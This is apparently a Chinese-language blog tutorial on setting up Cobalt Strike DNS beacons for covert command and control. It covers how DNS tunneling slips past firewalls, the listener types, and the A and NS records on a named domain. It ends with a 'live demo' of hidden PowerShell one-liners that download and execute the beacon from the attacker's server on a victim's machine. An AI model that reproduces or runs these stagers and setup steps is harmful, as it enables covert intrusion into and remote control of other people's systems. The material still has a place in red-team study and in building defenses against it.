Cobalt Strike（三）DNS bacon 的使用与原理

1.dns木马

dns木马因为隐蔽性好，在受害者不会开放任何端口 可以规避防火墙协议，走的是53端口 (服务器)，防火墙不会拦截，缺点响应慢。

2.dns beacon的工作过程

在 dns beacon使用dns隧道的过程

受害者在执行我们的传输器下载完木马之后就会发出a记录的请求，受害者首先会请求本地的hosts文件 ，再去请求本地的dns 能不能告诉123456.test.1377day.com 的ip多少，如果本地dns存在记录就返回ip，没有就会去查找root 根dns 不存在记录， 接着就会访问com的dns 没有就会去查找dnspot的dns 如果都不存在 就会去查找名称服务器 的。 这个是就会访问 teamserver的服务器 在teasmserver的服务器上也有dns 刚好存在记录 就会返回ip  同时teasmserver 会有dns beacon的信息 返回受害者 受害者再请求危险的a记录到teamserver。 这就是dns beacon的工作过程。

3.DNS beacon的类型

 

windows/beacon_dns/reserve_http （传输数据小）

有效载荷通过HTTP连接分阶段。当您创建此侦听器时，请注意您正在配置主机和端口Cobalt Strike将使用通过HTTP分阶段此有效负载。当您选择设置此有效负载时，Cobalt Strike在端口53上站起来的DNS服务器。

beacon_dns/reserve_http（支持命令切换到该模式：mode dns）

将http通信方式，改为了使用dns的a记录方式进行通信。速度较慢，但非常隐蔽，推荐使用！

beacon_dns/reserve_dns_txt（支持命令切换到该模式：mode dns-txt）

同上，只是改为使用dns的txt方式进行通信，传输的数据量更大，推荐使用！

windows/beacon_dns/reverse_dns_txt （传输数据大）

有效负载使用DNS TXT记录下载和分级混合HTTP和DNS beacon。当您创建此侦听器时，请注意，您正在配置该有效负载将用于HTTP通信的端口。再次，Cobalt Strike知道在53端口站起来一个DNS服务器。

以上都是非持续性的工作。

4.域名创建ns指向

首先指向a记录test.1377day.com 指向 teamserver

接着创建三个ns记录 分别c1,c2,c3指向test.1377day.com

新建监听器

 

传输地址

 设置好查看监听器

 5.测试环境

 

nslookup

server test.1377day.com

123456(这个是任意的)

nslookup 123456.c1.1377day.com

dig +trace 123456.c1.1377day.com

 6.实战演示 

a记录

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://test.1377day.com:80/a'))"

dns-txt

ns txt记录

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://test.1377day.com:80/dns'))"

 checkin 强制被控端（受害人主动请求）

转换协议

mode http dns dns-txt

———————————————————————————————为你，我愿化成天使守护你